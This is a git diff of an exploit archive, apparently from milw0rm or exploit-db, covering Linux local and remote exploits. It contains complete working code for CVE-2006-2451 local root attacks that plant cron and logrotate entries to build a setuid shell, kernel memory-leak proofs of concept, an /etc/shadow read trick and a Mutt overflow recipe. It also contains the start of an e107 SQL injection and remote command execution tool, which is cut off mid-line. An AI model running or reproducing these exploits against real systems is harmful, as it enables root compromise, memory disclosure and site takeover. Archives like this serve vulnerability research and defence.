+#define INFO1	"raptor_prctl.c - Linux 2.6.x suid_dumpable vulnerability"
+#define	INFO2	"Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"
+
+char payload[] = /* commands to be executed by privileged crond */
+"\nSHELL=/bin/sh\nPATH=/usr/bin:/usr/sbin:/sbin:/bin\n* * * * *   root   chown root /tmp/pwned; chmod 4755 /tmp/pwned; rm -f /etc/cron.d/core\n";
+
+char pwnage[] = /* build setuid() helper to circumvent bash checks */
+"echo \"main(){setuid(0);setgid(0);system(\\\"/bin/sh\\\");}\" > /tmp/pwned.c; gcc /tmp/pwned.c -o /tmp/pwned &>/dev/null; rm -f /tmp/pwned.c";
+
+int main(void)
+{
+	int 		pid, i;
+	struct rlimit 	corelimit;
+	struct stat	st;
+
+	/* print exploit information */
+	fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
+
+	/* prepare the setuid() helper */
+	system(pwnage);
+
+	/* set core size to unlimited */
+	corelimit.rlim_cur = RLIM_INFINITY;
+	corelimit.rlim_max = RLIM_INFINITY;
+	setrlimit(RLIMIT_CORE, &corelimit);
+
+	/* let's do the PR_SET_DUMPABLE magic */
+	if (!(pid = fork())) {
+		chdir("/etc/cron.d");
+		prctl(PR_SET_DUMPABLE, 2);
+		sleep(666);
+		exit(1);
+	}
+	kill(pid, SIGSEGV);
+
+	/* did it work? */
+	sleep(3);
+	if (stat("/etc/cron.d/core", &st) < 0) {
+		fprintf(stderr, "Error: Not vulnerable? See comments.\n");
+		exit(1);
+	}
+
+	fprintf(stderr, "Ready to uncork the champagne? ");
+	fprintf(stderr, "Please wait a couple of minutes;)\n");
+
+	/* wait for crond to execute our evil entry */
+	for (i = 0; i < 124; i += 2) {
+		if (stat("/tmp/pwned", &st) < 0) {
+			fprintf(stderr, "\nError: Check /tmp/pwned!\n");
+			exit(1);
+		}
+		if (st.st_uid == 0)	
+			break;
+		fprintf(stderr, ".");
+		sleep(2);
+	}
+
+	/* timeout reached? */
+	if (i > 120) {
+		fprintf(stderr, "\nTimeout: Check /tmp/pwned!\n");
+		exit(1);
+	}
+
+	/* total pwnage */
+	fprintf(stderr, "CAMPIONI DEL MONDO!\n\n");
+	system("/tmp/pwned");
+	exit(0);
+}
+
+// milw0rm.com [2006-07-13]
diff --git a/platforms/linux/local/2011.sh b/platforms/linux/local/2011.sh
index d5dc64fe6..c6a3a1f53 100755
--- a/platforms/linux/local/2011.sh
+++ b/platforms/linux/local/2011.sh
@@ -1,64 +1,64 @@
-#!/bin/sh
-#
-# PRCTL local root exp By: Sunix
-# + effected systems 2.6.13<= x <=2.6.17.4 + 2.6.9-22.ELsmp
-# tested on Intel(R) Xeon(TM) CPU 3.20GHz
-# kernel 2.6.9-22.ELsmp
-# maybe others ...
-# Tx to drayer & RoMaNSoFt for their clear code...
-#
-# zmia23@yahoo.com
-
-
-cat > /tmp/getsuid.c << __EOF__
-#include <stdio.h>
-#include <sys/time.h>
-#include <sys/resource.h>
-#include <unistd.h>
-#include <linux/prctl.h>
-#include <stdlib.h>
-#include <sys/types.h>
-#include <signal.h>
-
-char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *   root   chown root.root /tmp/s ; chmod 4777 /tmp/s ; rm -f /etc/cron.d/core\n";
-
-int main() { 
-    int child;
-    struct rlimit corelimit;
-    corelimit.rlim_cur = RLIM_INFINITY;
-    corelimit.rlim_max = RLIM_INFINITY;
-    setrlimit(RLIMIT_CORE, &corelimit);
-    if ( !( child = fork() )) {
-        chdir("/etc/cron.d");
-        prctl(PR_SET_DUMPABLE, 2);
-        sleep(200);
-        exit(1);
-    }
-    kill(child, SIGSEGV);
-    sleep(120);
-}
-__EOF__
-
-cat > /tmp/s.c << __EOF__
-#include<stdio.h>
-main(void)
-{
-setgid(0);
-setuid(0);
-system("/bin/sh");
-system("rm -rf /tmp/s");
-system("rm -rf /etc/cron.d/*");
-return 0;
-}
-__EOF__
-echo "wait aprox 4 min to get sh"
-cd /tmp
-cc -o s s.c
-cc -o getsuid getsuid.c
-./getsuid
-./s
-rm -rf getsuid*
-rm -rf s.c
-rm -rf prctl.sh
-
-# milw0rm.com [2006-07-14]
+#!/bin/sh
+#
+# PRCTL local root exp By: Sunix
+# + effected systems 2.6.13<= x <=2.6.17.4 + 2.6.9-22.ELsmp
+# tested on Intel(R) Xeon(TM) CPU 3.20GHz
+# kernel 2.6.9-22.ELsmp
+# maybe others ...
+# Tx to drayer & RoMaNSoFt for their clear code...
+#
+# zmia23@yahoo.com
+
+
+cat > /tmp/getsuid.c << __EOF__
+#include <stdio.h>
+#include <sys/time.h>
+#include <sys/resource.h>
+#include <unistd.h>
+#include <linux/prctl.h>
+#include <stdlib.h>
+#include <sys/types.h>
+#include <signal.h>
+
+char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *   root   chown root.root /tmp/s ; chmod 4777 /tmp/s ; rm -f /etc/cron.d/core\n";
+
+int main() { 
+    int child;
+    struct rlimit corelimit;
+    corelimit.rlim_cur = RLIM_INFINITY;
+    corelimit.rlim_max = RLIM_INFINITY;
+    setrlimit(RLIMIT_CORE, &corelimit);
+    if ( !( child = fork() )) {
+        chdir("/etc/cron.d");
+        prctl(PR_SET_DUMPABLE, 2);
+        sleep(200);
+        exit(1);
+    }
+    kill(child, SIGSEGV);
+    sleep(120);
+}
+__EOF__
+
+cat > /tmp/s.c << __EOF__
+#include<stdio.h>
+main(void)
+{
+setgid(0);
+setuid(0);
+system("/bin/sh");
+system("rm -rf /tmp/s");
+system("rm -rf /etc/cron.d/*");
+return 0;
+}
+__EOF__
+echo "wait aprox 4 min to get sh"
+cd /tmp
+cc -o s s.c
+cc -o getsuid getsuid.c
+./getsuid
+./s
+rm -rf getsuid*
+rm -rf s.c
+rm -rf prctl.sh
+
+# milw0rm.com [2006-07-14]
diff --git a/platforms/linux/local/2031.c b/platforms/linux/local/2031.c
index 671a15f34..dbaf9f171 100755
--- a/platforms/linux/local/2031.c
+++ b/platforms/linux/local/2031.c
@@ -1,108 +1,108 @@
-/*
- * $Id: raptor_prctl2.c,v 1.3 2006/07/18 13:16:45 raptor Exp $
- *
- * raptor_prctl2.c - Linux 2.6.x suid_dumpable2 (logrotate)
- * Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
- *
- * The suid_dumpable support in Linux kernel 2.6.13 up to versions before 
- * 2.6.17.4, and 2.6.16 before 2.6.16.24, allows a local user to cause a denial 
- * of service (disk consumption) and POSSIBLY (yeah, sure;) gain privileges via 
- * the PR_SET_DUMPABLE argument of the prctl function and a program that causes 
- * a core dump file to be created in a directory for which the user does not 
- * have permissions (CVE-2006-2451).
- *
- * This exploit uses the logrotate attack vector: of course, you must be able 
- * to chdir() into the /etc/logrotate.d directory in order to exploit the 
- * vulnerability. I've experimented a bit with other attack vectors as well, 
- * with no luck: at (/var/spool/atjobs/) uses file name information to 
- * establish execution time, /etc/cron.hourly|daily|weekly|monthly want +x 
- * permissions, xinetd (/etc/xinetd.d) puked out the crafted garbage-filled 
- * coredump (see also http://www.0xdeadbeef.info/exploits/raptor_prctl.c).
- * 
- * Thanks to Solar Designer for the interesting discussion on attack vectors.
- *
- * NOTE THAT IN ORDER TO WORK THIS EXPLOIT *MUST* BE STATICALLY LINKED!!!
- *
- * Usage:
- * $ gcc raptor_prctl2.c -o raptor_prctl2 -static -Wall
- * [exploit must be statically linked]
- * $ ./raptor_prctl2
- * [please wait until logrotate is run]
- * $ ls -l /tmp/pwned
- * -rwsr-xr-x  1 root users 7221 2006-07-18 13:32 /tmp/pwned
- * $ /tmp/pwned
- * sh-3.00# id
- * uid=0(root) gid=0(root) groups=16(dialout),33(video),100(users)
- * sh-3.00#
- * [don't forget to delete /tmp/pwned!]
- *
- * Vulnerable platforms:
- * Linux from 2.6.13 up to 2.6.17.4 [tested on SuSE Linux 2.6.13-15.8-default]
- */
-
-#include <stdio.h>
-#include <unistd.h>
-#include <stdlib.h>
-#include <signal.h>
-#include <sys/stat.h>
-#include <sys/resource.h>
-#include <sys/prctl.h>
-
-#define INFO1	"raptor_prctl2.c - Linux 2.6.x suid_dumpable2 (logrotate)"
-#define	INFO2	"Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"
-
-char payload[] = /* commands to be executed by privileged logrotate */
-"\n/var/log/core {\n    daily\n    size=0\n    firstaction\n        chown root /tmp/pwned; chmod 4755 /tmp/pwned; rm -f /etc/logrotate.d/core; rm -f /var/log/core*\n    endscript\n}\n";
-
-char pwnage[] = /* build setuid() helper to circumvent bash checks */
-"echo \"main(){setuid(0);setgid(0);system(\\\"/bin/sh\\\");}\" > /tmp/pwned.c; gcc /tmp/pwned.c -o /tmp/pwned &>/dev/null; rm -f /tmp/pwned.c";
-
-int main(void)
-{
-	int 		pid;
-	struct rlimit 	corelimit;
-	struct stat	st;
-
-	/* print exploit information */
-	fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
-
-	/* prepare the setuid() helper */
-	system(pwnage);
-
-	/* set core size to unlimited */
-	corelimit.rlim_cur = RLIM_INFINITY;
-	corelimit.rlim_max = RLIM_INFINITY;
-	setrlimit(RLIMIT_CORE, &corelimit);
-
-	/* let's create a fake logfile in /var/log */
-	if (!(pid = fork())) {
-		chdir("/var/log");
-		prctl(PR_SET_DUMPABLE, 2);
-		sleep(666);
-		exit(1);
-	}
-	kill(pid, SIGSEGV);
-
-	/* let's do the PR_SET_DUMPABLE magic */
-	if (!(pid = fork())) {
-		chdir("/etc/logrotate.d");
-		prctl(PR_SET_DUMPABLE, 2);
-		sleep(666);
-		exit(1);
-	}
-	kill(pid, SIGSEGV);
-
-	/* did it work? */
-	sleep(3);
-	if ((stat("/var/log/core", &st) < 0) || 
-	    (stat("/etc/logrotate.d/core", &st) < 0)) {
-		fprintf(stderr, "Error: Not vulnerable? See comments.\n");
-		exit(1);
-	}
-
-	/* total pwnage */
-	fprintf(stderr, "Please wait until logrotate is run and check /tmp/pwned;)\n");
-	exit(0);
-}
-
-// milw0rm.com [2006-07-18]
+/*
+ * $Id: raptor_prctl2.c,v 1.3 2006/07/18 13:16:45 raptor Exp $
+ *
+ * raptor_prctl2.c - Linux 2.6.x suid_dumpable2 (logrotate)
+ * Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
+ *
+ * The suid_dumpable support in Linux kernel 2.6.13 up to versions before 
+ * 2.6.17.4, and 2.6.16 before 2.6.16.24, allows a local user to cause a denial 
+ * of service (disk consumption) and POSSIBLY (yeah, sure;) gain privileges via 
+ * the PR_SET_DUMPABLE argument of the prctl function and a program that causes 
+ * a core dump file to be created in a directory for which the user does not 
+ * have permissions (CVE-2006-2451).
+ *
+ * This exploit uses the logrotate attack vector: of course, you must be able 
+ * to chdir() into the /etc/logrotate.d directory in order to exploit the 
+ * vulnerability. I've experimented a bit with other attack vectors as well, 
+ * with no luck: at (/var/spool/atjobs/) uses file name information to 
+ * establish execution time, /etc/cron.hourly|daily|weekly|monthly want +x 
+ * permissions, xinetd (/etc/xinetd.d) puked out the crafted garbage-filled 
+ * coredump (see also http://www.0xdeadbeef.info/exploits/raptor_prctl.c).
+ * 
+ * Thanks to Solar Designer for the interesting discussion on attack vectors.
+ *
+ * NOTE THAT IN ORDER TO WORK THIS EXPLOIT *MUST* BE STATICALLY LINKED!!!
+ *
+ * Usage:
+ * $ gcc raptor_prctl2.c -o raptor_prctl2 -static -Wall
+ * [exploit must be statically linked]
+ * $ ./raptor_prctl2
+ * [please wait until logrotate is run]
+ * $ ls -l /tmp/pwned
+ * -rwsr-xr-x  1 root users 7221 2006-07-18 13:32 /tmp/pwned
+ * $ /tmp/pwned
+ * sh-3.00# id
+ * uid=0(root) gid=0(root) groups=16(dialout),33(video),100(users)
+ * sh-3.00#
+ * [don't forget to delete /tmp/pwned!]
+ *
+ * Vulnerable platforms:
+ * Linux from 2.6.13 up to 2.6.17.4 [tested on SuSE Linux 2.6.13-15.8-default]
+ */
+
+#include <stdio.h>
+#include <unistd.h>
+#include <stdlib.h>
+#include <signal.h>
+#include <sys/stat.h>
+#include <sys/resource.h>
+#include <sys/prctl.h>
+
+#define INFO1	"raptor_prctl2.c - Linux 2.6.x suid_dumpable2 (logrotate)"
+#define	INFO2	"Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"
+
+char payload[] = /* commands to be executed by privileged logrotate */
+"\n/var/log/core {\n    daily\n    size=0\n    firstaction\n        chown root /tmp/pwned; chmod 4755 /tmp/pwned; rm -f /etc/logrotate.d/core; rm -f /var/log/core*\n    endscript\n}\n";
+
+char pwnage[] = /* build setuid() helper to circumvent bash checks */
+"echo \"main(){setuid(0);setgid(0);system(\\\"/bin/sh\\\");}\" > /tmp/pwned.c; gcc /tmp/pwned.c -o /tmp/pwned &>/dev/null; rm -f /tmp/pwned.c";
+
+int main(void)
+{
+	int 		pid;
+	struct rlimit 	corelimit;
+	struct stat	st;
+
+	/* print exploit information */
+	fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
+
+	/* prepare the setuid() helper */
+	system(pwnage);
+
+	/* set core size to unlimited */
+	corelimit.rlim_cur = RLIM_INFINITY;
+	corelimit.rlim_max = RLIM_INFINITY;
+	setrlimit(RLIMIT_CORE, &corelimit);
+
+	/* let's create a fake logfile in /var/log */
+	if (!(pid = fork())) {
+		chdir("/var/log");
+		prctl(PR_SET_DUMPABLE, 2);
+		sleep(666);
+		exit(1);
+	}
+	kill(pid, SIGSEGV);
+
+	/* let's do the PR_SET_DUMPABLE magic */
+	if (!(pid = fork())) {
+		chdir("/etc/logrotate.d");
+		prctl(PR_SET_DUMPABLE, 2);
+		sleep(666);
+		exit(1);
+	}
+	kill(pid, SIGSEGV);
+
+	/* did it work? */
+	sleep(3);
+	if ((stat("/var/log/core", &st) < 0) || 
+	    (stat("/etc/logrotate.d/core", &st) < 0)) {
+		fprintf(stderr, "Error: Not vulnerable? See comments.\n");
+		exit(1);
+	}
+
+	/* total pwnage */
+	fprintf(stderr, "Please wait until logrotate is run and check /tmp/pwned;)\n");
+	exit(0);
+}
+
+// milw0rm.com [2006-07-18]
diff --git a/platforms/linux/local/216.c b/platforms/linux/local/216.c
index 6f862cc9b..29b7c113b 100755
--- a/platforms/linux/local/216.c
+++ b/platforms/linux/local/216.c
@@ -143,6 +143,6 @@ int main( int argc, char * argv[] )
   execve( execve_argv[0], execve_argv, NULL );
   return( -1 );
 }
-
-
-// milw0rm.com [2000-12-02]
+
+
+// milw0rm.com [2000-12-02]
diff --git a/platforms/linux/local/252.pl b/platforms/linux/local/252.pl
index 43e0e751e..b6a3b8964 100755
--- a/platforms/linux/local/252.pl
+++ b/platforms/linux/local/252.pl
@@ -64,6 +64,6 @@ $buffer .= $shellcode;
 # then: export DISPLAY=your-ip:0.0 - and execute the exploit. 
 
 exec("/usr/X11R6/bin/seyon -noemulator \"$buffer\"");
-
-
-# milw0rm.com [2001-01-15]
+
+
+# milw0rm.com [2001-01-15]
diff --git a/platforms/linux/local/258.sh b/platforms/linux/local/258.sh
index 97b124bff..96e803625 100755
--- a/platforms/linux/local/258.sh
+++ b/platforms/linux/local/258.sh
@@ -27,6 +27,6 @@ echo "[*] krochos@linuxmail.org"
 sleep 1
 echo "[*] export  RESOLV_HOST_CONF=/etc/shadow"
 ssh lt 2>/tmp/.resolv
-cat /tmp/.resolv |  cut -d"\`" -f5,2 | awk -F"\'" '{print $1} '
-
-# milw0rm.com [2001-01-25]
+cat /tmp/.resolv |  cut -d"\`" -f5,2 | awk -F"\'" '{print $1} '
+
+# milw0rm.com [2001-01-25]
diff --git a/platforms/linux/local/30093.txt b/platforms/linux/local/30093.txt
new file mode 100755
index 000000000..2858720dd
--- /dev/null
+++ b/platforms/linux/local/30093.txt
@@ -0,0 +1,11 @@
+source: http://www.securityfocus.com/bid/24192/info
+
+Mutt is prone to a local buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before using it in a memory copy operation.
+
+An attacker can exploit this issue to execute arbitrary code with the with the privileges of the victim. Failed exploit attempts will result in a denial of service.
+
+# USERNAME=$(perl -e 'print "a" x 31')
+# useradd -c '&&&&&&&&& your-favourite-ascii-shellcode-here' $USERNAME
+# echo alias billg $USERNAME >~/.muttrc
+# mutt billg
+# Segmentation fault (core dumped) 
\ No newline at end of file
diff --git a/platforms/linux/local/3595.c b/platforms/linux/local/3595.c
index 52ecbdafa..a6b83cdbf 100755
--- a/platforms/linux/local/3595.c
+++ b/platforms/linux/local/3595.c
@@ -1,39 +1,39 @@
-#include <netinet/in.h>
-#include <stdio.h>
-#include <sys/types.h>
-#include <sys/socket.h>
-#include <net/if.h>
-#include <sys/mman.h>
-#include <linux/net.h>
-
-#define BUFSIZE 0x10000000
-
-int main(int argc, char *argv[])
-{
-    void *mem = mmap(0, BUFSIZE, PROT_READ | PROT_WRITE,
-               MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
-    if (mem == (void*)-1) {
-       printf("Alloc failed\n");
-       return -1;
-    }
-    /* SOCK_DCCP, IPPROTO_DCCP */
-    int s = socket(PF_INET, 6, 33);
-    if (s == -1) {
-       fprintf(stderr, "socket failure!\n");
-       return 1;
-    }
-   /* SOL_DCCP, DCCP_SOCKOPT_SEND_CSCOV */
-    int len = BUFSIZE;
-    int x = getsockopt(s, 269, 11, mem, &len);
-
-    if (x == -1)
-       perror("SETSOCKOPT");
-    else
-       printf("SUCCESS\n");
-
-    write(1, mem, BUFSIZE);
-
-    return 0;
-}
-
-// milw0rm.com [2007-03-28]
+#include <netinet/in.h>
+#include <stdio.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <net/if.h>
+#include <sys/mman.h>
+#include <linux/net.h>
+
+#define BUFSIZE 0x10000000
+
+int main(int argc, char *argv[])
+{
+    void *mem = mmap(0, BUFSIZE, PROT_READ | PROT_WRITE,
+               MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
+    if (mem == (void*)-1) {
+       printf("Alloc failed\n");
+       return -1;
+    }
+    /* SOCK_DCCP, IPPROTO_DCCP */
+    int s = socket(PF_INET, 6, 33);
+    if (s == -1) {
+       fprintf(stderr, "socket failure!\n");
+       return 1;
+    }
+   /* SOL_DCCP, DCCP_SOCKOPT_SEND_CSCOV */
+    int len = BUFSIZE;
+    int x = getsockopt(s, 269, 11, mem, &len);
+
+    if (x == -1)
+       perror("SETSOCKOPT");
+    else
+       printf("SUCCESS\n");
+
+    write(1, mem, BUFSIZE);
+
+    return 0;
+}
+
+// milw0rm.com [2007-03-28]
diff --git a/platforms/linux/local/4172.c b/platforms/linux/local/4172.c
index 155182f25..c3245db2e 100755
--- a/platforms/linux/local/4172.c
+++ b/platforms/linux/local/4172.c
@@ -1,84 +1,84 @@
-/*
- * Linux Kernel IPV6_Getsockopt_Sticky Memory Leak  Proof Of Concept
- * dreyer 07-2007
- * Osu, Tatakae, Sexy Pandas!
- *
- *  Dumps to stdout the memory mapped between INI and END.
- *
- * CVE: CVE-2007-1000  BID: 22904
- *
- *  Affected: Linux Kernel < 2.6.20.2
- *
- * http://bugzilla.kernel.org/show_bug.cgi?id=8134
- *
- * Exploitation based on null pointer dereference: http://lists.immunitysec.com/pipermail/dailydave/2007-March/004133.html
- *
- * For free!!! ( worth 600 EUR in zerobay! )
- *
- */
-
-
-#include <sys/mman.h>
-#include <netinet/in.h>
-#include <string.h>
-#include <stdlib.h>
-#include <stdio.h>
-
-#define HOPOPT_OFFSET 8
-#define INIADDR 0xc0100000
-#define ENDADDR  0xd0000000
-unsigned int i;
-
-
-int main(int argc, char *argv[]) {
-  int s;
-  unsigned int optlen;
-  void *ptr;
-  char value[10240];
-  char text[12];
-
-  fprintf(stderr,"Ipv6_getsockopt_sticky vuln POC\n"
-                 "dreyer '07 - free feels better\n"
-                 "Dumping %p - %p to stdout\n",INIADDR,ENDADDR);
-
-  s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
-  
-  /* Make np->opt = NULL = 0x00000000  through IPV6_2292PKTOPTIONS */
-  setsockopt(s, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, (void *)NULL, 0);
-
-  /* Make 0x00000000 address valid */
-  ptr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
-
-  if (ptr != NULL) {
-      perror("mmap");
-      exit(-1);
-  }
-
-  memset(ptr,0,4096);
-
-  /* Make ptr point to np->opt->hopopt =  (0x00000000)->hopopt = 
-   * 0x00000000 + 8 */
-  ptr=(char *)((char *)ptr+HOPOPT_OFFSET);
-
-  i=INIADDR;
-  while(i<ENDADDR) {
-      /* Put in hopopt the address we want to read */
-      *((int *)ptr)=i;
-      optlen=10240;
-      /* Get the chunk pointed by hopopt through getsockopt IPV6_DSTOPTS */
-      getsockopt(s, IPPROTO_IPV6, IPV6_DSTOPTS, (void *)value, &optlen);
-      if(optlen>0) {
-          sprintf(text,"\n%08x:",i);
-          write(1,text,strlen(text));
-          write(1,value,optlen);
-          i=i+optlen;
-      } else {
-          /* We could not read this portion because of some error, skip it */
-          i=i+4;
-      }
-  }
-
-  return 0;
-}
-
-// milw0rm.com [2007-07-10]
+/*
+ * Linux Kernel IPV6_Getsockopt_Sticky Memory Leak  Proof Of Concept
+ * dreyer 07-2007
+ * Osu, Tatakae, Sexy Pandas!
+ *
+ *  Dumps to stdout the memory mapped between INI and END.
+ *
+ * CVE: CVE-2007-1000  BID: 22904
+ *
+ *  Affected: Linux Kernel < 2.6.20.2
+ *
+ * http://bugzilla.kernel.org/show_bug.cgi?id=8134
+ *
+ * Exploitation based on null pointer dereference: http://lists.immunitysec.com/pipermail/dailydave/2007-March/004133.html
+ *
+ * For free!!! ( worth 600 EUR in zerobay! )
+ *
+ */
+
+
+#include <sys/mman.h>
+#include <netinet/in.h>
+#include <string.h>
+#include <stdlib.h>
+#include <stdio.h>
+
+#define HOPOPT_OFFSET 8
+#define INIADDR 0xc0100000
+#define ENDADDR  0xd0000000
+unsigned int i;
+
+
+int main(int argc, char *argv[]) {
+  int s;
+  unsigned int optlen;
+  void *ptr;
+  char value[10240];
+  char text[12];
+
+  fprintf(stderr,"Ipv6_getsockopt_sticky vuln POC\n"
+                 "dreyer '07 - free feels better\n"
+                 "Dumping %p - %p to stdout\n",INIADDR,ENDADDR);
+
+  s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
+  
+  /* Make np->opt = NULL = 0x00000000  through IPV6_2292PKTOPTIONS */
+  setsockopt(s, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, (void *)NULL, 0);
+
+  /* Make 0x00000000 address valid */
+  ptr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
+
+  if (ptr != NULL) {
+      perror("mmap");
+      exit(-1);
+  }
+
+  memset(ptr,0,4096);
+
+  /* Make ptr point to np->opt->hopopt =  (0x00000000)->hopopt = 
+   * 0x00000000 + 8 */
+  ptr=(char *)((char *)ptr+HOPOPT_OFFSET);
+
+  i=INIADDR;
+  while(i<ENDADDR) {
+      /* Put in hopopt the address we want to read */
+      *((int *)ptr)=i;
+      optlen=10240;
+      /* Get the chunk pointed by hopopt through getsockopt IPV6_DSTOPTS */
+      getsockopt(s, IPPROTO_IPV6, IPV6_DSTOPTS, (void *)value, &optlen);
+      if(optlen>0) {
+          sprintf(text,"\n%08x:",i);
+          write(1,text,strlen(text));
+          write(1,value,optlen);
+          i=i+optlen;
+      } else {
+          /* We could not read this portion because of some error, skip it */
+          i=i+4;
+      }
+  }
+
+  return 0;
+}
+
+// milw0rm.com [2007-07-10]
diff --git a/platforms/linux/remote/1258.php b/platforms/linux/remote/1258.php
index efef692de..4916d288c 100755
--- a/platforms/linux/remote/1258.php
+++ b/platforms/linux/remote/1258.php
@@ -1,261 +1,261 @@
-<?php
-#   0.27 18/10/2005                                                            #
-#                                                                              #
-#   ---e017_xpl.php                                                            #
-#                                                                              #
-#   e107 0.617 resetcore.php SQL Injection & remote code execution  all-in-one #
-#                                                                              #
-#                                 by rgod                                      #
-#                      site: http://rgod.altervista.org                        #
-#                                                                              #
-#   make these changes in php.ini if you have troubles                         #
-#   to launch this script:                                                     #
-#   allow_call_time_pass_reference = on                                        #
-#   register_globals = on                                                      #
-#                                                                              #
-#   usage: customize for your own pleasure, launch this script from Apache,    #
-#   fill requested fields, then go!                                            #
-#                                                                              #
-#   Sun-Tzu: "There is a proper season for making attacks with fire, and       #
-#   special days for starting a conflagration. The proper season is when       #
-#   the weather is very dry; the special days are those when the moon is       #
-#   in the constellations of the Sieve, the Wall, the Wing or the Cross-bar;   #
-#   for these four are all days of rising wind."                               #
-
-error_reporting(0);
-ini_set("max_execution_time",0);
-ini_set("default_socket_timeout", 2);
-ob_implicit_flush (1);
-
-echo'<html><head><title>e107 0.617 remote commands execution       </title><meta
-http-equiv="Content-Type"   content="text/html;  charset=iso-8859-1">     <style
-type="text/css"> body {	background-color:#111111; SCROLLBAR-ARROW-COLOR:#ffffff;
-SCROLLBAR-BASE-COLOR: black;    CURSOR: crosshair;    color:   #1CB081; }    img
-{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
-!important} option {  background-color:   #303030   !important}         textarea
-{background-color: #303030 !important} input {color: #1CB081 !important}  option
-{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
-{background-color: #303030 !important} select {font-weight: normal;       color:
-#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
-background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
-0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
-!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
-!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
-!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
-normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
-{ text-decoration: none ; color : #1CBc81; } a:hover{text-decoration: underline;
-color : #1CB081; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
-font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
-font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
-e107 0.617 resetcore.php SQL injection & remote commands execution </p>      <p>
-<class="Stile6"> a  script     byrgod  at <a href="http://rgod.altervista.org"
-target="_blank">http://rgod.altervista.org</a></p> <table width="84%"><tr>   <td
-width="43%">      <form name="form1" method="post" action="'.$SERVER[PHP_SELF].'
-?path=value&host=value&port=value&command=value&proxy=value">   <p>       <input
-type="text" name="host"><span class="Stile5"> hostname    (ex: www.sitename.com)
-</span></p><p> <input type="text" name="path"><span class="Stile5">path (ex: /e1
-07/ or just /)</span></p><p><input type="text" name="port"><span class="Stile5">
-specify a port other than 80 (default value)  </span> </p> <p><input type="text"
-name="command"><span class="Stile5">a shell command,    cat ./../../e107_config.
-php to see database username/password  </span>  </p>  <p>   <input   type="text"
-name="proxy"><span class="Stile5">send exploit through an HTTP  proxy  (ip:port)
-</span></p><p><input type="submit" name="Submit" value="go!">   </p></form></td>
-</tr></table></body></html>';
-
-function show($headeri)
-{
-$ii=0;
-$ji=0;
-$ki=0;
-$ci=0;
-echo '<table border="0"><tr>';
-while ($ii <= strlen($headeri)-1)
-{
-$datai=dechex(ord($headeri[$ii]));
-if ($ji==16) {
-             $ji=0;
-             $ci++;
-             echo "<td>&nbsp;&nbsp;</td>";
-             for ($li=0; $li<=15; $li++)
-                      { echo "<td>".$headeri[$li+$ki]."</td>";
-			    }
-            $ki=$ki+16;
-            echo "</tr><tr>";
-            }
-if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
-{echo "<td>".$datai."</td> ";}
-$ii++;
-$ji++;
-}
-for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
-                      { echo "<td>&nbsp&nbsp</td>";
-                       }
-
-for ($li=$ci*16; $li<=strlen($headeri); $li++)
-                      { echo "<td>".$headeri[$li]."</td>";
-			    }
-echo "</tr></table>";
-}
-
-
-function sendpacket($packet)
-{
-global $proxy, $host, $port, $html;
-if ($proxy=='')
-           {$ock=fsockopen(gethostbyname($host),$port);}
-             else
-           {
-	   $proxy=trim($proxy);
- 	   $parts=explode(':',$proxy);
-       echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
-	    $ock=fsockopen($parts[0],$parts[1]);
-	    if (!$ock) { echo 'No response from proxy...';
-			die;
-		       }
-	   }
-fputs($ock,$packet);
-if ($proxy=='')
-  {
-
-    $html='';
-    while (!feof($ock))
-      {
-        $html.=fgets($ock);
-      }
-  }
-else
-  {
-    $html='';
-    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
-    {
-      $html.=fread($ock,1);
-    }
-  }
-fclose($ock);
-echo nl2br(htmlentities($html));
-}
-
-
-if (($path<>'') and ($host<>'') and ($command<>''))
-{
-
-$port=intval($port);
-if (($port=='') or ($port<=0)) {$port=80;}
-if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
-if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
-echo 'Initiating exploit against '.htmlentities($host).':'.htmlentities($port);
-
-#STEP 1 -> SQL INJECTION in resetcore.php, bypass login and change upload settings
-$data.="sitename=e107+powered+website&siteurl=".urlencode('http://'.$host.':'.$port.$path)."
-&sitebutton=button.png&sitetag=e107+website+system&sitedescription=&siteadmin=suntzu
